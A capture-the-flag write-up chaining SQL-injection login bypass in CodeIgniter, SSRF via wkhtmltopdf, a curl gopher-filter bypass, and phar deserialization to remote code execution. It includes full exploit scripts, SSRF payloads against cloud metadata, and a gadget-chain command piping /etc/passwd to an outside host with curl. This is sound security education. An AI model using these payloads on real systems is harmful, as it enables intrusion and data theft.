Overview

For this challenge, we were provided with source code (dockerize). You also can download it here.

🧨 Disclaimer : This walkthrough is on my local network(and some VPN) because I forgot to screenshot it during competition. 😅

Starting with reading docker-compose.yml and ./src/infra/docker/php/Dockerfile, I found out there were two web applications (php and nodejs) running on the same server, but only one web application was exposed publicly. The php application (Codeigniter) was exposed publicly at port 29458 and nodejs application were served internally at port 5000. You also can spawn the docker to analyze it.

Figure 1: Docker ps

Figure 1: Docker ps

Once I understand the network configuration, I move to Codeigniter application first and analyzing composer.json. The interesting part is I noticed the application is required to use knplabs/knp-snappy library on specific version which was v1.4.1. In my heart I was like (hey i knew snappy suffered from phar deserialization because I reported it back then on this specific version 🤔) and quickly summarize it has phar deserialization vulnerability. In order to use the vulnerability, I need to:

  1. Upload file into the server
  2. Control the output file from generateFromHtml() function to invoke deserialize

On ./src/backend/app/Controllers/PDFMaker.php file, it took body and option parameters, if the option is getOutputFromHtml, it will pass body to getOutputFromHtml() function. If option is generateFromHtml, it will extract element from h1 tag and pass it to generateFromHtml() as a filename. But to reach generateFromHtml() function, only admin can access it and the request must be coming from localhost.

...
helper("render");

class PDFMaker extends BaseController {
    ...
    public function create() {
        ...
        $post = $this->request->getPost(['body', 'option']);
        $snappy = new Pdf('/usr/bin/wkhtmltopdf');
        $snappy->setTimeout(5);
        switch ($post['option']) {
            case 'getOutputFromHtml':
                $pdf_out = $snappy->getOutputFromHtml($post['body']);
                $b64_pdf = base64_encode($pdf_out);
                return $this->respond([
                    'pdf' => $b64_pdf
                ]);
            case 'generateFromHtml':
                // only admin can use this functionality
                if (
                    session()->get("role") === "admin" &&
                    $_SERVER['REMOTE_ADDR'] === "127.0.0.1"
                ){
                    $filename = "/tmp/" . uniqid("generated_pdf");
                    $dom = new DOMDocument();
                    $dom->loadHTML($post['body']);
                    $h1Element = $dom->getElementsByTagName('h1')->item(0);
                    if ($h1Element) {
                        $filename = $h1Element->nodeValue;
                    }
                    $pdf_out = $snappy->generateFromHtml($post['body'], $filename);
                    return $this->setResponseFormat('json')->respond([
                        'filename' => $filename
                    ]);
                } else {
                    echo $_SERVER['REMOTE_ADDR'];
                    return $this->failForbidden("forbidden");
                }

            default:
                return $this->failNotFound("command not found");
        }
    }
}

In order to get an admin session, the only thing in my head is authentication bypass using SQLi. When im googling using this keyword “login bypass admin codeigniter4 where clause”, it brings me to LiveOverflow webpage. LiveOverflow showed if application passing whole user’s input directly to getWhere() clause, we can inject SQL statement on parameter field. On file src/backend/app/Controllers/AuthController.php, the system passed the whole user input to ->where() method, which is vulnerable if user add one more parameter to it. The impact from it is user can perform SQLi on parameter itself, not the value. Since the example from LiveOverflow is using json format, I tried and it did not work. But somehow it must be somthing. Then I moved to find SSRF on other application.

Quick overview on ./src/bot/index.js, I founds there were two important features which were /curl and /ftp endpoint. We can use ftp to upload our phar file and use curl to trigger deserialization via post method. Since I need to use post request to invoke deserialization, gopher is the right protocol to make a post request via curl. The application also checks if our url contains gopher in it, but it can be bypass.

const curl = (url) => {
	return new Promise((resolve, reject) => {
		if (url.startsWith("gopher") || url.includes("-K")){
			reject(new Error("Error"))
		}
		const proc = spawn('curl', [url]);
		...
	});
};

const ftp = (url, filename) => {
	return new Promise((resolve, reject) => {
		const protocol = (new URL(url)).protocol
		if (!(protocol === "ftp:")) {
			return reject(new Error(`Protocol not supported`))
		}
	const proc = spawn('curl', [url, '-o', filename]);
	...
	});
};

app.all("/curl", async (req, res) => {
	const { url } = Object.assign(req.body, req.query)
	...
	return curl(url).then(data => {
		return res.send({ "message": data })
	})
	...
})

app.all("/ftp", async (req, res) => {
	const { url, filename } = Object.assign(req.body, req.query)
	...
	return ftp(url, filename).then(data => {
		return res.send({ "message": data })
	})
	...
})

So I conclude that the attack chains must be like these:

  1. SQL injection to bypass authentication and set admin role
  2. Using SSRF to upload phar file
  3. Using SSRF to invoke Phar deserialization on generateFromHtml() function

SQL Injection on where clause

On the next day, the challenge’s author release a hint by giving LiveOverflow’s video, and it was the same as the blog that I read before. I kept thinking why can’t do it. Then Ali said he was succeed to get SQLi. Huge shout out for him 🔥. After inspecting his payload, then I realized that what I do is wrong. The first thing that I did was displaying last SQL query when it using where clause and inject new parameter in login request.

// ./src/backend/app/Controllers/AuthController.php
$user = $this->model->where($data)->first();

var_dump($this->model->lastQuery); // add this

if (!$user) {
    return $this->fail("username not found!");
}

It turns out it only sanitize the value, not parameter field. They also stated this on their documentation. Remember, our payload must not contain space and equal sign, because parameter does not have space and equal sign will terminate the payload.

$builder->where() accepts an optional third parameter. If you set it to false, CodeIgniter will not try to protect your field or table names.

The third parameter is escape option and the default value is null, that why I can inject SQL statement into parameter.

Figure 2: SQL injection

Figure 2: SQL injection

Figure 3: Value was sanitized, paramater was not

Figure 3: Value was sanitized, paramater was not

Figure 4: SQL injection sleep

Figure 4: SQL injection sleep

After I identified the injection point, I moved to craft sql payload to set user as admin. The application validate the password using password_verify(), and it using PASSWORD_DEFAULT option for algorithm, which means it using bcrypt as we can see at ./src/backend/app/Models/UserModel.php.

Based on migration file at ./src/backend/app/Database/Migrations/2023-05-31-224213_AddUser.php, I can know the column name such as id, username, password, email, and role. The important column would be username, password and role. For password field, this application was using password_verify() at ./src/backend/app/Models/UserModel.php, which means I need to use password_has() to generate password hash as such:

 php -a
Interactive shell

php > echo password_hash("anything123", PASSWORD_DEFAULT);
$2y$10$6b.RGQsS5JHrrWReaDLP2.4TsyPVO5k4GVD.ah1TXGWGKDt7YzJDS
php > echo password_hash("anything123", PASSWORD_DEFAULT);
$2y$10$.3wsJRpwVXQez3NmT0BAWePTMjTCh5CE0A02mBFPrJXPYB2a82sMu
php > echo password_hash("anything123", PASSWORD_DEFAULT);
$2y$10$y404GRNWAqPODt8c6nZI7.4tWZoAM.BK6HP9tZlj2VkXGPJY1Fvwy
php >
php > var_dump(password_verify("anything123", '$2y$10$6b.RGQsS5JHrrWReaDLP2.4TsyPVO5k4GVD.ah1TXGWGKDt7YzJDS'));
bool(true)
php > var_dump(password_verify("anything123", '$2y$10$.3wsJRpwVXQez3NmT0BAWePTMjTCh5CE0A02mBFPrJXPYB2a82sMu'));
bool(true)
php > var_dump(password_verify("anything123", '$2y$10$y404GRNWAqPODt8c6nZI7.4tWZoAM.BK6HP9tZlj2VkXGPJY1Fvwy'));
bool(true)

At first, my payload would look like this:

username=a&password=notvalidpassword&'a'/**/UNION/**/SELECT/**/null,'nonexistsuser','$2y$10$6b.RGQsS5JHrrWReaDLP2.4TsyPVO5k4GVD.ah1TXGWGKDt7YzJDS',null,'admin'#--=sanitized

But this payload did not work. Why? Lets understand about php variable from external source first. Based on PHP documentation, dots and spaces in variable name are converted to underscore. For example <input type="text" name="my.name" /> becomes $_REQUEST["my_name"].

Not only dots and spaces that got converted by PHP to _ (underscore), but also open square bracket:

  • space ( )
  • dot (.)
  • open square bracket ([)

This information is very critical and important for us because my SQL payload is on parameter variable, not value. Plus, PHP add dot when hashing, and this make the payload failed. Below was the response after using payload above. Notice that dot in password hash was replaced to underscore.

SELECT *
FROM `users`
WHERE `username` = 'a'
AND 'a'/**/UNION/**/SELECT/**/null,'nonexistsuser','$2y$10$6b_RGQsS5JHrrWReaDLP2_4TsyPVO5k4GVD_ah1TXGWGKDt7YzJDS',null,'admin'#-- = 'sanized' LIMIT 1

To bypass this, we can use PHP bug to bypass password_verify without using dot such as $2x$08$00000$ and $2y$10$am$2y$10$am. You can read it here and here. Below was the final python script for SQL injection.

import requests
import urllib

url = "http://192.168.8.79:29458"
session = requests.Session()
headers = {
	'X-Requested-With': 'XMLHttpRequest',
	'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36',
	'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
}

def getAdminSession():
	data = {
		"username": "a",
		"password": "notvalidpassword",	
        "'a'/**/UNION/**/SELECT/**/null,'nonexistsuser','$2x$08$00000$',null,'admin'#--": "sanitized"
	}
	session.post(url + "/login", headers=headers, data=data)

getAdminSession()

SSRF

Snappy use wkhtmltopdf which is webkit based to convert HTML to PDF and it very excel in its job. The only problem with wkhtmltopdf is it was vulnerable to SSRF vulnerability. Attacker can render internal pages or make internal request using certain HTML tag such as <img> and iframe (any HTML tag that can load external resources also works). Example:

<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
<object data="http://169.254.169.254/latest/meta-data/" width="400" height="300" type="text/html"></object>
<img src="http://169.254.169.254/latest/meta-data/"/>

%% This also works %%

<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><image xlink:href="http://169.254.169.254/latest/meta-data/" height="200" width="200"/></svg>
<embed src="http://169.254.169.254/latest/meta-data/" />
<link href="http://169.254.169.254/latest/meta-data/" rel="stylesheet" />
<script src="http://169.254.169.254/latest/meta-data/"></script>
<audio control src="http://169.254.169.254/latest/meta-data/"></audio>

If you want to experiment with any HTML tag that can perform SSRF, maybe you can find this helpful.

Based on ./src/backend/app/Controllers/PDFMaker.php, the affected function was $snappy->getOutputFromHtml(). I tried to load file:///etc/passwd, it returns nothing, but when I tried to make a request to webhook, it succeed. Since we have nodejs bot on the server, and it was served locally on port 5000, maybe I can make SSRF to the application.

If we remember earlier, /curl endpoint checks if the url is start with gopher protocol. This can be bypass using curl feature which is URL globbing:

  • Numerical/Alphabetical ranges([]): curl -O "http://example.com/section[a-z].html" or curl -O "http://example.com/[1-100].png"
  • List ({}): curl -O "http://example.com/{one,two,three,alpha,beta}.html"

By using URL globbing from curl, our bypass could look like these:

  1. http://localhost:5000/curl?url=[g-g]opher://localhost:80/_payload
  2. http://localhost:5000/curl?url={g}opher://localhost:80/_payload

Upload file via SSRF

I used /ftp endpoint to upload phar file and use this ftp code to serve ftp service on my local network(use ngrok or vps for public to solve the challenge). This script allow us to use ftp anonymously (without password).

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_anonymous(".", perm="elradfmw")
handler = FTPHandler
handler.authorizer = authorizer
server = FTPServer(("0.0.0.0", 21), handler)
server.serve_forever()

But before that, we need to generate gadget chain to get RCE first. This can be done using existing gadget in phpggc. You can generate it directly using phpggc script, or custom. Im using phpggc gadget(RCE2) as payload and custom script to generate phar file. You also can use other gadget as well, I found out this(RCE3) gadget much more simpler and the gadget size is much smaller. I also make a blog on how to create your own phar archieve, you can read it here.

<?php
// generate_phar.php

namespace CodeIgniter\Cache\Handlers {
    class RedisHandler {
        protected $redis;

        public function __construct($func, $param) {
            $this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler(
                new \CodeIgniter\Model(
                    new \CodeIgniter\Database\BaseBuilder(
                        new \CodeIgniter\Database\MySQLi\Connection
                    ),
                    new \CodeIgniter\Validation\Validation,
                    $func,
                    new \CodeIgniter\Database\MySQLi\Connection
                ),
                array("x" => $param)
            );
        }
    }
}

namespace CodeIgniter\Session\Handlers {
    class MemcachedHandler {
        protected $memcached;
        protected $lockKey;

        public function __construct($memcached, $param) {
            $this->lockKey = $param;
            $this->memcached = $memcached;
        }
    }
}

namespace CodeIgniter {
    class Model  {
        protected $builder;
        protected $primaryKey;
        protected $beforeDelete;
        protected $validationRules;
        protected $validation;
        protected $tempAllowCallbacks;

        public function __construct($builder, $validation, $func, $db) {
            $this->builder = $builder;
            $this->primaryKey = null;

            $this->beforeDelete = array();
            $this->beforeDelete[] = "validate";

            $this->tempAllowCallbacks = 1;
            $this->db = $db;

            $this->cleanValidationRules = false;
            $this->validation = $validation;
            $this->validationRules = array(
                "id.x" => array(
                    "rules" => array($func, "dd") // function "dd" exits the script.
                )
            );
        }
    }
}

namespace CodeIgniter\Validation {
    class Validation {
        protected $ruleSetFiles;

        public function __construct() {
            $this->ruleSetFiles = array("finfo");
        }
    }
}

namespace CodeIgniter\Database {
    class BaseBuilder { 
        public function __construct($db) {
            $this->QBFrom = array("()");
            $this->db = $db;
        }
    }
}

namespace CodeIgniter\Database\MySQLi {
    class Connection {
    }
}

namespace {
    $func = "system";
    $params = "cat /etc/passwd | curl -X POST -d @- http://10.10.1.35:1111";

    $Redis = new \CodeIgniter\Cache\Handlers\RedisHandler($func, $params);

    @unlink("asd.phar");

    $poc = new Phar("asd.phar");
    $poc->startBuffering();
    $poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
    $poc["file1"] = "text";
    $poc->setMetadata($Redis);
    $poc->stopBuffering();
}

And generate the phar file using this command:

php -d phar.readonly=0 generate_phar.php

This is my script to upload file.

filename = "/tmp/asd.phar"
# ...
def uploadPhar():
	imgPayload = f"<embed src='http://localhost:5000/ftp?url=ftp://10.10.1.35/asd.phar&filename={filename}' />"
	a = session.post(url+"/pdf-maker", data={
	
	"body": imgPayload,
	"option": "getOutputFromHtml"
})

Trigger deserialization via SSRF

The last step to complete this exploit was using SSRF to invoke Phar deserialization on generateFromHtml() function. The gopher payload must be encoded two times because the ssrf requests happens two times, first on generateFromHtml(), second on /curl endpoint.

# ...
def triggerPharDeserialize():
    data = {
        "body": f"<h1>phar://{filename}</h1>",
        "option": "generateFromHtml"
    }

    # prepare req
    req = requests.Request("POST", url+"/pdf-maker", data=data)
    prepare_req = session.prepare_request(req)
    prepare_req.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36"

    final_req = f"{prepare_req.method} {prepare_req.path_url} HTTP/1.1\r\n"
    final_req += f"Host: 127.0.0.1\r\n"
    final_req += "\r\n".join("{}: {}".format(x, y) for x, y in prepare_req.headers.items())
    final_req += "\r\n\r\n"
    final_req += prepare_req.body

    payload = urllib.parse.quote(urllib.parse.quote(final_req))
    # payload = urllib.parse.quote(final_req)
    imgPayload = f"<embed src='http://localhost:5000/curl?url=gopher://localhost:80/_{payload}' />"

    a = session.post(url+"/pdf-maker", data={
        "body": imgPayload,
        "option": "getOutputFromHtml"
    })

Final Exploit

import requests
import urllib

url = "http://192.168.8.79:29458"
session = requests.Session()
filename = "/tmp/asd.phar"

headers = {
    'X-Requested-With': 'XMLHttpRequest',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
}

proxies = {
        "http": "http://localhost:8080" 
}

def getAdminSession():
    data = {
        "username": "a",
        "password": "notvalidpassword",
        "'a'/**/UNION/**/SELECT/**/null,'nonexistsuser','$2x$08$00000$',null,'admin'#--": "sanitized"
    }
    session.post(url + "/login", headers=headers, data=data)
    
def uploadPhar():
    imgPayload = f"<embed src='http://localhost:5000/ftp?url=ftp://10.10.1.35/asd.phar&filename={filename}' />"

    a = session.post(url+"/pdf-maker", data={
        "body": imgPayload,
        "option": "getOutputFromHtml"
    })

def triggerPharDeserialize():
    data = {
        "body": f"<h1>phar://{filename}</h1>",
        "option": "generateFromHtml"
    }

    # prepare req
    req = requests.Request("POST", url+"/pdf-maker", data=data)
    prepare_req = session.prepare_request(req)
    prepare_req.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36"

    final_req = f"{prepare_req.method} {prepare_req.path_url} HTTP/1.1\r\n"
    final_req += f"Host: 127.0.0.1\r\n"
    final_req += "\r\n".join("{}: {}".format(x, y) for x, y in prepare_req.headers.items())
    final_req += "\r\n\r\n"
    final_req += prepare_req.body

    payload = urllib.parse.quote(urllib.parse.quote(final_req))
    # payload = urllib.parse.quote(final_req)
    imgPayload = f"<embed src='http://localhost:5000/curl?url=gopher://localhost:80/_{payload}' />"

    a = session.post(url+"/pdf-maker", data={
        "body": imgPayload,
        "option": "getOutputFromHtml"
    })

getAdminSession()
uploadPhar()
triggerPharDeserialize()
Figure 5: Final exploit

Figure 5: Final exploit

Additional Information

After the event closed, the author of the challenge release solutions for eevery single challenges. On PDFIFY challenge, the author used other custom gadget from ./src/backend/app/Helpers/render_helper.php. On __toString(), we can pass our input to view() function, which eventually make local file inclusion.

<?php

class Template
{
    protected $name;
    protected $data;

    function __construct($name = "")
    {
        $this->name = $name;
        $this->data = array();
        $this->data['title'] = "default-title";
    }
    function __toString()
    {
        return view("templates/header", $this->data)
            . view($this->name)
            . view("templates/footer");
    }
    // ...
}

In order to invoke __toString(), we can use file_put_contents in UserModel class at ./src/backend/app/Models/UserModel.php.

<?php
namespace App\Models;
use CodeIgniter\Model;

class UserModel extends Model
{
    // ...
    function __destruct()
    {
        file_put_contents("/tmp/log.txt", $this->db, FILE_APPEND);
    }
}

How view() function can include local file? You see, view() function will call render() function, then it include our input.

// ./src/backend/vendor/codeigniter4/codeigniter4/system/Common.php
function view(string $name, array $data = [], array $options = []): string
    {
        $renderer = Services::renderer();

        $config   = config(View::class);
        $saveData = $config->saveData;

        if (array_key_exists('saveData', $options)) {
            $saveData = (bool) $options['saveData'];
            unset($options['saveData']);
        }

        return $renderer->setData($data, 'raw')->render($name, $options, $saveData);
    }
// ./src/backend/vendor/codeigniter4/codeigniter4/system/View/View.php
public function render(string $view, ?array $options = null, ?bool $saveData = null): string {
        // ...
        $fileExt = pathinfo($view, PATHINFO_EXTENSION);
        $this->renderVars['view'] = empty($fileExt) ? $view . '.php' : $view;
        // ...
        $this->renderVars['file'] = $this->viewPath . $this->renderVars['view'];

        if (! is_file($this->renderVars['file'])) {
            $this->renderVars['file'] = $this->loader->locateFile(
                $this->renderVars['view'],
                'Views',
                empty($fileExt) ? 'php' : $fileExt
            );
        }
        // ...
        $output = (function (): string {
            extract($this->tempData);
            ob_start();
            include $this->renderVars['file'];

            return ob_get_clean() ?: '';
        })();
    }

The gadget from author can be found here.

References